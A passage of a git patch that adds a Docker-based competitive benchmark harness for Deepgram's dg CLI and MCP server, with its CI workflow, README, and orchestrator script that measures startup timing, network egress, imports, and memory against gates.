From a6a212a4d1d59ff06021ee87dac4d4a32b1a7c34 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 04:14:02 -0400
Subject: [PATCH 01/88] feat(bench): add competitive benchmark harness with
 gates

Adds bench/, a Docker-based harness that times dg and a pinned set of
other CLIs and MCP servers, and checks the results against gates.json.

- hyperfine -N timing for --version, --help, subcommand help, cold help
  (page cache dropped), MCP initialize and tools/list, data-path rows
  against a loopback fake API, install size and interpreter floors
- deterministic rows: connect() count under strace plus a
  never-answering proxy, import allowlist and forbidden-module lists,
  source compiles under PYTHONVERBOSE
- rows fail closed: a non-zero exit, unparsed interpreter output or an
  untraceable command records an error, never a value
- every measured container runs with --network none; competitor pins are
  versioned and sha256-verified, base images pinned by digest
- check.py: gates activate at their since version; timing gates are
  report-only until marked blocking; paired base/head rule
  max(10%, 3xMAD, floor), with failed rounds counted as red
- a release profile (dg only, rows that can block), a self-test against
  a fake CLI, and unit tests
- competitive-bench.yml (SHA-pinned actions, read-only permissions, no
  secrets), callable with a ref for a future release job
---
 .github/workflows/competitive-bench.yml | 177 +++++
 bench/.gitignore                        |   2 +
 bench/README.md                         | 110 +++
 bench/baselines/README.md               |   5 +
 bench/bench.py                          | 803 +++++++++++++++++++++
 bench/check.py                          | 491 +++++++++++++
 bench/competitors.json                  | 128 ++++
 bench/docker/Dockerfile.bin             |  18 +
 bench/docker/Dockerfile.dg              |  43 ++
 bench/docker/Dockerfile.fake            |  27 +
 bench/docker/Dockerfile.npm             |  15 +
 bench/docker/Dockerfile.uv              |  22 +
 bench/docker/tools.sh                   |  33 +
 bench/gates.json                        |  83 +++
 bench/lib/fake_dg.py                    | 101 +++
 bench/lib/measure.py                    | 885 ++++++++++++++++++++++++
 bench/run.sh                            |   8 +
 bench/selftest.sh                       |  99 +++
 bench/tests/fake/fakecli.py             | 116 ++++
 bench/tests/test_bench.py               | 425 ++++++++++++
 20 files changed, 3591 insertions(+)
 create mode 100644 .github/workflows/competitive-bench.yml
 create mode 100644 bench/.gitignore
 create mode 100644 bench/README.md
 create mode 100644 bench/baselines/README.md
 create mode 100644 bench/bench.py
 create mode 100644 bench/check.py
 create mode 100644 bench/competitors.json
 create mode 100644 bench/docker/Dockerfile.bin
 create mode 100644 bench/docker/Dockerfile.dg
 create mode 100644 bench/docker/Dockerfile.fake
 create mode 100644 bench/docker/Dockerfile.npm
 create mode 100644 bench/docker/Dockerfile.uv
 create mode 100644 bench/docker/tools.sh
 create mode 100644 bench/gates.json
 create mode 100644 bench/lib/fake_dg.py
 create mode 100644 bench/lib/measure.py
 create mode 100755 bench/run.sh
 create mode 100755 bench/selftest.sh
 create mode 100644 bench/tests/fake/fakecli.py
 create mode 100644 bench/tests/test_bench.py

diff --git a/.github/workflows/competitive-bench.yml b/.github/workflows/competitive-bench.yml
new file mode 100644
index 00000000..3ed7cf5f
--- /dev/null
+++ b/.github/workflows/competitive-bench.yml
@@ -0,0 +1,177 @@
+name: Competitive bench
+
+# Benchmark harness in bench/ (README there). Every measured process runs in a
+# container with --network none; no job uses a secret or a Deepgram key.
+#  - pull requests touching hot paths: base and head timed interleaved in one job
+#  - weekly: dg plus every pinned competitor
+#  - workflow_call with a ref, for a release job to call later; nothing calls it
+#    yet (bench/README.md, "Release gating")
+#  - weekly A/A (base vs base) feeds the rule that ends report-only timing gates
+# Deterministic gates block as soon as their `since` version is reached; timing
+# gates stay report-only until bench/gates.json marks them blocking.
+
+on:
+  pull_request:
+    paths:
+      - "src/**"
+      - "packages/**"
+      - "launcher/**"
+      - "uv.lock"
+      - "**/pyproject.toml"
+      - "bench/**"
+      - ".github/workflows/competitive-bench.yml"
+  schedule:
+    - cron: "17 5 * * 1"
+  workflow_dispatch:
+  # For a release job to call before publishing (not wired yet). A tag pushed by
+  # release-please with GITHUB_TOKEN starts no workflow, so a `push: tags`
+  # trigger would never fire.
+  workflow_call:
+    inputs:
+      ref:
+        description: Commit to benchmark (the release commit)
+        type: string
+        required: true
+
+permissions:
+  contents: read
+
+concurrency:
+  group: competitive-bench-${{ github.event_name }}-${{ github.ref }}-${{ inputs.ref }}
+  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
+
+env:
+  DEEPCTL_TELEMETRY_DISABLED: "1"
+  BENCH_RUNNER_LABEL: ubuntu-24.04-arm
+
+jobs:
+  selftest:
+    name: Harness self-test
+    runs-on: ubuntu-24.04-arm
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          ref: ${{ inputs.ref }}
+          persist-credentials: false
+
+      - name: Unit tests
+        run: |
+          py=$(python3 -c 'import json; print(json.load(open("bench/competitors.json"))["images"]["python"])')
+          docker run --rm -v "$PWD/bench:/bench:ro" -e PYTHONDONTWRITEBYTECODE=1 "$py" \
+            sh -c 'pip -q install pytest==8.3.3 && cd /tmp && python -m pytest -q -p no:cacheprovider /bench/tests'
+
+      - name: Fake-CLI self-test
+        run: bench/selftest.sh
+
+  pr:
+    name: Base vs head (paired)
+    if: github.event_name == 'pull_request'
+    needs: selftest
+    runs-on: ubuntu-24.04-arm
+    timeout-minutes: 60
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          fetch-depth: 0
+          persist-credentials: false
+
+      # The harness and gates come from the base commit, so a PR can't loosen the
+      # gates it is judged by. HEAD is the merge commit; its first parent is the
+      # base the PR actually merges onto.
+      - name: Harness from the base commit
+        run: |
+          base=$(git rev-parse HEAD^1)
+          echo "BASE_SHA=$base" >> "$GITHUB_ENV"
+          echo "HEAD_SHA=$(git rev-parse HEAD)" >> "$GITHUB_ENV"
+          if git cat-file -e "$base:bench/bench.py" 2>/dev/null; then
+            git worktree add --detach "$RUNNER_TEMP/base" "$base"
+            echo "BENCH_DIR=$RUNNER_TEMP/base/bench" >> "$GITHUB_ENV"
+          else
+            # Bootstrap only: the PR that adds bench/, or a base branch cut before it.
+            echo "BENCH_DIR=$PWD/bench" >> "$GITHUB_ENV"
+          fi
+
+      - name: Paired run, one automatic re-run on failure
+        run: |
+          set +e
+          for attempt in 1 2; do
+            out="$PWD/bench/out/pair-$attempt"
+            python3 "$BENCH_DIR/bench.py" pair --base "$BASE_SHA" --head "$HEAD_SHA" --out "$out"
+            python3 "$BENCH_DIR/check.py" pair "$out/pair.json" --json "$out/check.json" --summary "$GITHUB_STEP_SUMMARY"
+            rc=$?
+            [ "$rc" -eq 0 ] && break
+            echo "attempt $attempt failed; re-running once" >> "$GITHUB_STEP_SUMMARY"
+          done
+          exit "$rc"
+
+      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9  # v7.0.2
+        if: always()
+        with:
+          name: bench-pr-${{ github.event.pull_request.number }}
+          path: |
+            bench/out/pair-*/pair.json
+            bench/out/pair-*/check.json
+          retention-days: 30
+
+  full:
+    name: dg and competitors
+    if: github.event_name != 'pull_request'
+    needs: selftest
+    runs-on: ubuntu-24.04-arm
+    timeout-minutes: 240
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          ref: ${{ inputs.ref }}
+          persist-credentials: false
+
+      - name: Run
+        run: python3 bench/bench.py run --ref HEAD --out bench/out/full
+
+      - name: Check
+        run: |
+          base="bench/baselines/$BENCH_RUNNER_LABEL.json"
+          args=""
+          [ -f "$base" ] && args="--baseline $base"
+          # shellcheck disable=SC2086
+          python3 bench/check.py bench/out/full/results.json $args --json bench/out/full/check.json --summary "$GITHUB_STEP_SUMMARY"
+
+      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9  # v7.0.2
+        if: always()
+        with:
+          name: bench-full-${{ github.run_id }}
+          path: |
+            bench/out/full/results.json
+            bench/out/full/check.json
+          retention-days: 90
+
+  aa:
+    name: A/A (base vs base)
+    if: (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && inputs.ref == ''
+    needs: selftest
+    runs-on: ubuntu-24.04-arm
+    timeout-minutes: 60
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+        with:
+          persist-credentials: false
+
+      - name: Paired run of HEAD against itself
+        run: |
+          set +e
+          for attempt in 1 2; do
+            out="bench/out/aa-$attempt"
+            python3 bench/bench.py pair --base HEAD --head HEAD --skip-deterministic --out "$out"
+            python3 bench/check.py pair "$out/pair.json" --json "$out/check.json" --summary "$GITHUB_STEP_SUMMARY"
+            python3 -c 'import json,sys; r=json.load(open(sys.argv[1]))["pair"]; sys.exit(1 if any(x["status"]=="RED" for x in r) else 0)' "$out/check.json" && break
+          done
+          # A red A/A after the re-run counts as a false positive toward ending report-only (bench/README.md); recorded, never failing.
+          exit 0
+
+      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9  # v7.0.2
+        if: always()
+        with:
+          name: bench-aa-${{ github.run_id }}
+          path: bench/out/aa-*/check.json
+          retention-days: 400
diff --git a/bench/.gitignore b/bench/.gitignore
new file mode 100644
index 00000000..33e08786
--- /dev/null
+++ b/bench/.gitignore
@@ -0,0 +1,2 @@
+out/
+!lib/
diff --git a/bench/README.md b/bench/README.md
new file mode 100644
index 00000000..43451007
--- /dev/null
+++ b/bench/README.md
@@ -0,0 +1,110 @@
+# Benchmark harness
+
+Measures `dg` against a pinned set of other CLIs and MCP servers, and gates
+the results against `gates.json`. Every measured process runs in a Docker
+container started with `--network none`; the only privileged container is a
+helper that drops the page cache before cold rows. Docker is the only
+requirement. Cold rows refuse to start the privileged helper in CI unless the
+runner is GitHub-hosted. The orchestrator (`bench.py`) needs Python 3.9+ and only drives Docker.
+
+```sh
+bench/run.sh                               # dg at HEAD plus every pinned competitor
+bench/run.sh --subjects dg --ref v0.4.0    # dg only, any git ref
+bench/run.sh --subjects dg,voice --quick   # 10 runs per timing row instead of 30
+python3 bench/check.py bench/out/<run>/results.json [--baseline bench/baselines/<label>.json]
+python3 bench/bench.py pair --base origin/main --head HEAD    # interleaved base vs head
+python3 bench/check.py pair bench/out/<run>/pair.json
+python3 bench/check.py list                # every gate, target and since version
+bench/run.sh --profile release             # dg only, no timing gates: deterministic, size, MCP-shape and RSS rows
+bench/selftest.sh                          # harness self-test against a fake CLI
+```
+
+## What is measured
+
+| Row | How |
+|---|---|
+| `version_warm`, `help_warm`, `subhelp_warm` | `hyperfine -N --warmup 3 --runs 30` |
+| `help_cold` | page cache dropped before each of 10 runs; `hyperfine -N --runs 1` |
+| `mcp_init`, `mcp_list` | spawn → `initialize` result, spawn → `tools/list` result (30 runs) |
+| `mcp_tools`, `mcp_annotations_pct`, `mcp_output_schema_pct`, `mcp_list_kb`, `mcp_kb_per_tool` | from the `tools/list` result |
+| `mcp_offline_clean` | no non-JSON-RPC bytes on stdout and the server still alive after `tools/list` |
+| `egress_*` | `strace -f -e trace=connect` count of AF_INET/AF_INET6 sockets plus accepts on a proxy that never answers; must be 0 |
+| `egress_*_delta_ms` | timing backstop: blackholed proxy vs warm, ≤ max(25 ms, 0.2 × warm) |
+| `imports_*` | modules imported on a path (`PYTHONPROFILEIMPORTTIME`), against the allowlist and forbidden lists in `gates.json` |
+| `norecompile_*` | `PYTHONVERBOSE` lines for modules compiled from source on the first run; must be 0 |
+| `json_50k_words` | against `lib/fake_dg.py` on loopback; stdout must be a non-empty JSON document |
+| `rss_prerecorded_50mb`, `rss_prerecorded_500mb` | peak RSS uploading a silent WAV of that size to the fake API |
+| `install_mb` | `du -sm` of the install root, bytecode included |
+| `floor_*` | interpreter and import floors for the Python path |
+
+A row whose command exits non-zero (outside the row's accepted codes) records
+an error instead of a value, so a crash is never a fast run. The `imports_*`
+and `norecompile_*` rows read `PYTHONPROFILEIMPORTTIME` and `PYTHONVERBOSE`
+output; an interpreter started with `-I` or `-E` ignores those, and the rows
+then record an error rather than 0. A launcher that isolates its interpreter
+needs a way to pass those variables through before these rows can measure it.
+The egress row also errors when strace can't trace the command.
+
+Every Python image has its stdlib compiled to `.pyc`, and `dg` is installed with
+`uv tool install --compile-bytecode` from wheels built out of a clean
+`git archive` of the ref, with third-party versions from `uv.lock`, so a gate
+moves only when the ref changes. `--deps latest` resolves third-party versions
+from the index instead, which is what a user's install gets on the day.
+
+## Gates
+
+Each gate in `gates.json` quotes its target and has a `since` version.
+
+- A gate is **active** once the version under test reaches `since`. Inactive
+  gates are measured and shown as pending.
+- **Timing gates are report-only** until `"blocking": true` is set for them, per
+  row, which happens after 30 scheduled A/A runs show at most one red and a +50 ms
+  injected case fails. A row with more than one red gets its floor raised one
+  step and its count restarted.
+- **Every other gate blocks as soon as it is active**: zero egress, the import
+  allowlist and forbidden lists, no source compiles, sizes, tool counts, peak RSS.
+  An active blocking gate whose row is missing fails.
+- **Regressions** are judged only on paired runs from one job: fail when the
+  median of head − base over the rounds exceeds max(10 %, 3 × MAD of the
+  differences, the row floor), after one re-run. Comparisons with a stored
+  baseline from another run are report-only.
+- A paired row where head failed in most rounds is red; when the row is
+  blocking, missing values on either side fail it.
+- Competitor margins are same-run ratios (`best peer` column).
+
+## Release gating
+
+Not wired yet. `competitive-bench.yml` accepts `workflow_call` with a `ref`
+input, and `--profile release` measures dg only, with no competitors, no cold
+rows and no warm or floor timing. It still runs report-only timing: the egress
+backstop and one MCP timing run, bounded by a 60 s per-invocation timeout
+(worst case about 32 minutes if every egress path stalls). Gates on a channel
+listed in `planned_subjects` stay pending until the harness builds it; any
+other subject a gate names that the harness doesn't know is an error.
+
+Before a release job calls it:
+
+- add a `profile` input to `competitive-bench.yml` and skip the timing self-test on that path;
+- set a job timeout (about 30 minutes);
+- the dg image build needs network (PyPI and the hyperfine download), so an outage fails the job;
+- before 0.5.0, check that `dg mcp` exits 0 on stdin EOF offline, or the MCP import and no-recompile gates block on its exit code.
+
+## Results
+
+`results.json` (`schema: dg-bench/1`) holds the runner label, host, harness
+commit and, per subject, its version and rows. A row is
+`{"value", "unit", "median", "mad", "min", "max", "n", "times", "method", ...}`.
+`pair.json` (`dg-bench/1-pair`) holds the per-round medians for base and head
+plus head's deterministic rows. Baselines in `baselines/<runner-label>.json`
+are results files without the raw samples. None is committed yet: the first
+scheduled run on a runner writes one (`bench.py baseline`), and later ones are
+refreshed by PR. `--baseline` is optional.
+
+## Competitors
+
+`competitors.json` pins every competitor's top-level version: sha256 for release
+tarballs, an exact version for npm and PyPI, a commit for git installs, and a
+digest for every base image. Transitive npm and PyPI dependencies and distro
+tools (strace, GNU time) are resolved at build time; each result records the
+strace version. Pins are arm64. Bump a pin by PR; that PR's run
+is the measured delta.
diff --git a/bench/baselines/README.md b/bench/baselines/README.md
new file mode 100644
index 00000000..611d8a0e
--- /dev/null
+++ b/bench/baselines/README.md
@@ -0,0 +1,5 @@
+# Baselines
+
+One `<runner-label>.json` per runner, written by the first scheduled run on that
+runner (`python3 bench/bench.py baseline <results.json>`) and refreshed by PR.
+`check.py --baseline` is optional; with no file for a runner it compares nothing.
diff --git a/bench/bench.py b/bench/bench.py
new file mode 100644
index 00000000..6a4c883d
--- /dev/null
+++ b/bench/bench.py
@@ -0,0 +1,803 @@
+"""Benchmark orchestrator. Drives Docker only: every measured process runs inside
+a bench container started with --network none. Stdlib only (Python 3.9+).
+
+  python3 bench/bench.py run  [--ref REF] [--subjects dg,voice,...] [--label L] [--out DIR]
+  python3 bench/bench.py pair --base REF --head REF [--rounds 10]
+  python3 bench/bench.py collect OUT_DIR        # rebuild results.json from row files
+
+`bench/run.sh` wraps `run`. `bench/check.py` evaluates the output.
+"""
+
+from __future__ import annotations
+
+import argparse
+import datetime as dt
+import glob
+import hashlib
+import json
+import os
+import platform
+import shutil
+import statistics
+import subprocess
+import sys
+import tarfile
+import time
+
+BENCH = os.path.dirname(os.path.abspath(__file__))
+REPO = os.path.dirname(BENCH)
+CFG = json.load(open(os.path.join(BENCH, "competitors.json")))
+DRIVER = ["python3", "-I", "/bench/lib/measure.py"]
+SCHEMA = "dg-bench/1"
+
+# Data-path rows talk to the in-container fake API (loopback; the container has no network).
+DATA_ENV = [
+    "DEEPGRAM_API_KEY=fake_0000000000000000000000000000000000000000",
+    "DEEPGRAM_PROJECT_ID=00000000-0000-0000-0000-000000000000",
+    "DEEPGRAM_BASE_URL=http://127.0.0.1:8080",
+    "DEEPCTL_TELEMETRY_DISABLED=1",
+    "DO_NOT_TRACK=1",
+]
+
+
+def log(*a):
+    print("[bench]", *a, file=sys.stderr, flush=True)
+
+
+def sh(args, check=True, capture=False, **kw):
+    r = subprocess.run(
+        args,
+        check=False,
+        text=True,
+        stdout=subprocess.PIPE if capture else None,
+        stderr=subprocess.PIPE if capture else None,
+        **kw,
+    )
+    if check and r.returncode != 0:
+        raise SystemExit(
+            "command failed (%d): %s\n%s"
+            % (r.returncode, " ".join(args), (r.stderr or "")[-2000:])
+        )
+    return r
+
+
+def harness_commit():
+    r = sh(["git", "-C", REPO, "rev-parse", "HEAD"], check=False, capture=True)
+    return r.stdout.strip() if r.returncode == 0 else "unknown"
+
+
+def git(*a):
+    return sh(["git", "-C", REPO] + list(a), capture=True).stdout.strip()
+
+
+# ----------------------------------------------------------------- images
+def _hf_args():
+    h = CFG["hyperfine"]
+    return [
+        "--build-arg",
+        "HYPERFINE_VERSION=" + h["version"],
+        "--build-arg",
+        "HYPERFINE_SHA_ARM64=" + h["sha256"]["arm64"],
+        "--build-arg",
+        "HYPERFINE_SHA_AMD64=" + h["sha256"]["amd64"],
+    ]
+
+
+def build_fake(ref):
+    """Self-test subject, e.g. 'fake:delay=5,egress=true,fail=true,imports=asyncio,nopyc=true,version=0.6.0'
+    (bench/tests/fake)."""
+    opts = dict(kv.split("=", 1) for kv in ref[len("fake:") :].split(",") if kv)
+    knobs = {
+        "DELAY_MS": opts.get("delay", "0"),
+        "EGRESS": opts.get("egress", "false"),
+        "VERSION": opts.get("version", "0.0.0"),
+        "FAIL": opts.get("fail", "false"),
+        "IMPORTS": opts.get("imports", ""),
+        "NOPYC": opts.get("nopyc", "false"),
+        "NOPYC_WRITABLE": opts.get("nopyc_writable", "false"),
+    }
+    tag = (
+        "dg-bench-fake:"
+        + hashlib.sha1(json.dumps(knobs, sort_keys=True).encode()).hexdigest()[:12]
+    )
+    args = []
+    for k, v in sorted(knobs.items()):
+        args += ["--build-arg", "%s=%s" % (k, v)]
+    sh(
+        [
+            "docker",
+            "build",
+            "-q",
+            "-t",
+            tag,
+            "-f",
+            os.path.join(BENCH, "docker", "Dockerfile.fake"),
+            "--build-context",
+            "fakectx=" + os.path.join(BENCH, "tests", "fake"),
+            "--build-arg",
+            "PY_IMAGE=" + CFG["images"]["python"],
+        ]
+        + args
+        + _hf_args()
+        + [os.path.join(BENCH, "docker")],
+        capture=True,
+    )
+    return tag, ref
+
+
+DG_DEPS = os.environ.get("BENCH_DG_DEPS", "lock")
+
+
+def build_dg(ref, workdir):
+    """Build the dg image from a clean `git archive` of REF (or a source dir)."""
+    if ref.startswith("fake:"):
+        return build_fake(ref)
+    if os.path.isdir(ref):
+        src = os.path.abspath(ref)
+        sha = "dir-" + hashlib.sha1(src.encode()).hexdigest()[:10]
+    else:
+        sha = git("rev-parse", ref + "^{commit}")
+        src = os.path.join(workdir, "src-" + sha[:12])
+        if not os.path.isdir(src):
+            tf = src + ".tar"
+            sh(["git", "-C", REPO, "archive", "--format=tar", "-o", tf, sha])
+            os.makedirs(src)
+            with tarfile.open(tf) as t:
+                t.extractall(src)
+            os.unlink(tf)
+    tag = "dg-bench-dg:" + sha[:12] + ("" if DG_DEPS == "lock" else "-" + DG_DEPS)
+    img = CFG["images"]
+    log("build", tag, "from", ref)
+    sh(
+        [
+            "docker",
+            "build",
+            "-q",
+            "-t",
+            tag,
+            "-f",
+            os.path.join(BENCH, "docker", "Dockerfile.dg"),
+            "--build-context",
+            "benchctx=" + os.path.join(BENCH, "docker"),
+            "--build-arg",
+            "PY_IMAGE=" + img["python"],
+            "--build-arg",
+            "UV_IMAGE=" + img["uv"],
+            "--build-arg",
+            "DEPS=" + DG_DEPS,
+        ]
+        + _hf_args()
+        + [src],
+        capture=True,
+    )
+    return tag, sha
+
+
+def build_competitor(name):
+    s = CFG["subjects"][name]
+    img = CFG["images"]
+    tag = "dg-bench-%s:%s" % (name, s["version"][:20].replace("+", "_"))
+    d = os.path.join(BENCH, "docker")
+    args = ["docker", "build", "-q", "-t", tag] + _hf_args()
+    if s["kind"] == "bin":
+        args += [
+            "-f",
+            os.path.join(d, "Dockerfile.bin"),
+            "--build-arg",
+            "BASE_IMAGE=" + img["debian"],
+            "--build-arg",
+            "NAME=" + name,
+            "--build-arg",
+            "URL=" + s["url"],
+            "--build-arg",
+            "SHA256=" + s["sha256"],
+            "--build-arg",
+            "VERSION=" + s["version"],
+        ]
+    elif s["kind"] == "npm":
+        args += [
+            "-f",
+            os.path.join(d, "Dockerfile.npm"),
+            "--build-arg",
+            "BASE_IMAGE=" + img["node"],
+            "--build-arg",
+            "PACKAGE=" + s["package"],
+            "--build-arg",
+            "VERSION=" + s["version"],
+        ]
+    elif s["kind"] == "uv":
+        args += [
+            "-f",
+            os.path.join(d, "Dockerfile.uv"),
+            "--build-arg",
+            "PY_IMAGE=" + img[s.get("python_image", "python")],
+            "--build-arg",
+            "UV_IMAGE=" + img["uv"],
+            "--build-arg",
+            "SPEC=" + s["spec"],
+            "--build-arg",
+            "VERSION=" + s["version"],
+        ]
+    elif s["kind"] == "image":
+        return s["image"]
+    else:
+        raise SystemExit("unknown kind " + s["kind"])
+    log("build", tag)
+    r = sh(args + [d], check=False, capture=True)
+    if r.returncode != 0:
+        log("BUILD FAILED", name, r.stderr[-800:])
+        return None
+    return tag
+
+
+# ----------------------------------------------------------------- containers
+class Box:
+    """A long-lived bench container for one subject (always --network none)."""
+
+    def __init__(self, image, name, outdir):
+        self.name = name
+        self.outdir = outdir
+        for d in (outdir, os.path.join(outdir, "cold")):
+            os.makedirs(d, exist_ok=True)
+            os.chmod(d, 0o777)  # the container user is not the host user
+        sh(["docker", "rm", "-f", name], check=False, capture=True)
+        sh(
+            [
+                "docker",
+                "run",
+                "-d",
+                "--rm",
+                "--network",
+                "none",
+                "--name",
+                name,
+                "-v",
+                BENCH + ":/bench:ro",
+                "-v",
+                outdir + ":/out",
+                image,
+                "sleep",
+                "infinity",
+            ],
+            capture=True,
+        )
+
+    def exec(self, args, check=False, env=()):
+        e = []
+        for kv in env:
+            e += ["-e", kv]
+        return sh(
+            ["docker", "exec"] + e + [self.name] + args, check=check, capture=True
+        )
+
+    def drive(self, sub, name, cmd, *opts):
+        r = self.exec(DRIVER + [sub, "--name", name] + list(opts) + ["--"] + cmd)
+        line = (r.stdout or "").strip().splitlines()
+        log(
+            self.name,
+            (line[-1] if line else "")
+            or ("rc=%d %s" % (r.returncode, (r.stderr or "")[-400:])),
+        )
+        if r.returncode != 0:
+            with open(os.path.join(self.outdir, name + ".json"), "w") as f:
+                json.dump(
+                    {"row": name, "value": None, "error": (r.stderr or "")[-600:]}, f
+                )
+
+    def meta(self):
+        r = self.exec(["cat", "/opt/bench/meta.json"])
+        meta = json.loads(r.stdout) if r.returncode == 0 else {}
+        st = self.exec(["cat", "/opt/bench/strace.txt"])
+        if st.returncode == 0:
+            meta["strace"] = st.stdout.strip()
+        return meta
+
+    def close(self):
+        sh(["docker", "rm", "-f", self.name], check=False, capture=True)
+
+
+def drop_caches():
+    # The helper needs --privileged. GitHub-hosted runners are throwaway VMs where the
+    # job already has root; anywhere else in CI (a self-hosted runner) refuse.
+    if os.environ.get("CI") and os.environ.get("RUNNER_ENVIRONMENT") != "github-hosted":
+        raise SystemExit(
+            "cold rows need a privileged container; refusing outside GitHub-hosted runners (use --cold-runs 0)"
+        )
+    sh(
+        [
+            "docker",
+            "run",
+            "--rm",
+            "--privileged",
+            "--network",
+            "none",
+            CFG["images"]["dropcaches"],
+            "sh",
+            "-c",
+            "sync; echo 3 > /proc/sys/vm/drop_caches",
+        ],
+        capture=True,
+    )
+
+
+def cold_row(box, row, cmd, runs):
+    """First run after the page cache is dropped (VM-wide, from a helper container);
+    timed by hyperfine inside the measured container so no interpreter warms the cache first."""
+    for i in range(runs):
+        drop_caches()
+        box.exec(
+            [
+                "hyperfine",
+                "-N",
+                "-i",
+                "--style",
+                "none",
+                "--runs",
+                "1",
+                "--export-json",
+                "/out/cold/%s_%02d.json" % (row, i),
+                "--",
+                " ".join(cmd),
+            ]
+        )
+    log(box.name, row, "cold x%d done" % runs)
+
+
+# ----------------------------------------------------------------- row plans
+def run_dg(box, s, quick=False, cold_runs=10, data=True, timing=True):
+    """timing=False is the release profile: deterministic, size, MCP-shape and RSS rows only."""
+    cli, mcp = s["cli"], s["mcp"]
+    menv = ["--env=%s=%s" % kv for kv in sorted(mcp.get("env", {}).items())]
+    runs = ["--runs", "10", "--warmup", "2"] if quick else []
+    # deterministic rows first: the no-recompile check wants the first runs in a fresh container
+    for path in ("version", "help"):
+        box.drive("verbose", "norecompile_" + path, cli[path])
+    box.drive("verbose", "norecompile_mcp", mcp["cmd"], "--mcp-session", *menv)
+    for path in ("version", "help", "subhelp"):
+        box.drive("imports", "imports_" + path, cli[path], "--path", path)
+    box.drive(
+        "imports", "imports_mcp", mcp["cmd"], "--path", "mcp", "--mcp-session", *menv
+    )
+    for path in ("version", "help", "subhelp"):
+        box.drive("egress", "egress_" + path, cli[path])
+    box.drive("egress", "egress_mcp", mcp["cmd"], "--mcp-session", *menv)
+    if not timing:
+        runs = [
+            "--runs",
+            "1",
+            "--warmup",
+            "0",
+        ]  # MCP rows for tool counts and sizes only
+    # warm timing
+    for path in ("version", "help", "subhelp") if timing else ():
+        box.drive("hf", path + "_warm", cli[path], *runs)
+    box.drive("mcp", "mcp", mcp["cmd"], *(menv + runs))
+    box.drive(
+        "mcp",
+        "mcp_read",
+        mcp["cmd"] + ["--toolsets", "read"],
+        "--runs",
+        "3",
+        "--warmup",
+        "0",
+        *menv,
+    )
+    py = s["python"]
+    floors = [
+        ("floor_python_pass", [py, "-c", "pass"]),
+        ("floor_python_isolated", [py, "-I", "-S", "-c", "pass"]),
+        ("floor_import_click", [py, "-c", "import click"]),
+        (
+            "floor_import_click_platformdirs_yaml",
+            [py, "-c", "import click, platformdirs, yaml"],
+        ),
+        ("floor_import_click_rich_console", [py, "-c", "import click, rich.console"]),
+        ("floor_import_deepctl_core_config", [py, "-c", "import deepctl_core.config"]),
+        ("floor_import_deepctl_core", [py, "-c", "import deepctl_core"]),
+    ]
+    for name, cmd in floors if timing else ():
+        box.drive(
+            "hf", name, cmd, *(["--runs", "10", "--warmup", "2"] if quick else [])
+        )
+    denv = ["--env=" + kv for kv in DATA_ENV]
+    if data and timing:
+        box.drive(
+            "hf",
+            "json_50k_words",
+            [cli["version"][0], "-o", "json", "listen", "/tmp/s.wav"],
+            "--serve",
+            "50000",
+            "--runs",
+            "3" if quick else "5",
+            "--warmup",
+            "1",
+            "--capture-bytes",
+            "--require-json",
+            "--make-file",
+            "/tmp/s.wav:64K",
+            *denv,
+        )
+    if data:
+        box.drive(
+            "rss",
+            "rss_prerecorded_500mb",
+            [cli["version"][0], "listen", "/tmp/f500.wav"],
+            "--serve",
+            "50",
+            "--runs",
+            "3",
+            "--make-file",
+            "/tmp/f500.wav:500M",
+            *denv,
+        )
+        box.drive(
+            "rss",
+            "rss_prerecorded_50mb",
+            [cli["version"][0], "listen", "/tmp/f50.wav"],
+            "--serve",
+            "50",
+            "--runs",
+            "3",
+            "--make-file",
+            "/tmp/f50.wav:50M",
+            *denv,
+        )
+        box.exec(["rm", "-f", "/tmp/f500.wav", "/tmp/f50.wav", "/tmp/s.wav"])
+    if cold_runs:
+        cold_row(box, "help_cold", cli["help"], cold_runs)
+
+
+def run_competitor(box, s, quick=False, cold_runs=10):
+    runs = ["--runs", "10", "--warmup", "2"] if quick else []
+    cli = s.get("cli")
+    if cli:
+        for path in ("version", "help"):
+            box.drive("hf", path + "_warm", cli[path], *runs)
+        box.drive("egress", "egress_version", cli["version"])
+    if s.get("mcp"):
+        menv = ["--env=%s=%s" % kv for kv in sorted(s["mcp"].get("env", {}).items())]
+        box.drive("mcp", "mcp", s["mcp"]["cmd"], *(menv + runs))
+    if cli and cold_runs:
+        cold_row(box, "help_cold", cli["help"], cold_runs)
+
+
+# ----------------------------------------------------------------- results
+def host_info():
+    r = sh(["docker", "info", "--format", "{{json .}}"], capture=True, check=False)
+    try:
+        d = json.loads(r.stdout)
+    except ValueError:
+        d = {}
+    return {
+        "docker_os": d.get("OperatingSystem"),
+        "kernel": d.get("KernelVersion"),
+        "arch": d.get("Architecture"),
+        "cpus": d.get("NCPU"),
+        "mem_gb": round((d.get("MemTotal") or 0) / 2**30, 1),
+        "server_version": d.get("ServerVersion"),
+        "orchestrator_platform": platform.platform(),
+    }
+
+
+def default_label():
+    return (
+        os.environ.get("BENCH_RUNNER_LABEL") or "local-%s" % platform.machine().lower()
+    )
+
+
+def collect(outdir):
+    meta = json.load(open(os.path.join(outdir, "run.json")))
+    subjects = {}
+    for name, sm in meta["subjects"].items():
+        d = os.path.join(outdir, name)
+        rows = {}
+        for f in sorted(glob.glob(os.path.join(d, "*.json"))):
+            r = json.load(open(f))
+            rows[r.pop("row", os.path.basename(f)[:-5])] = r
+        colds, cold_codes = [], set()
+        for f in sorted(glob.glob(os.path.join(d, "cold", "*.json"))):
+            res = json.load(open(f))["results"][0]
+            colds.append(res["times"][0] * 1000)
+            cold_codes.update(res.get("exit_codes") or [])
+        if colds:
+            m = statistics.median(colds)
+            rows["help_cold"] = {
+                "value": round(m, 3),
+                "unit": "ms",
+                "median": round(m, 3),
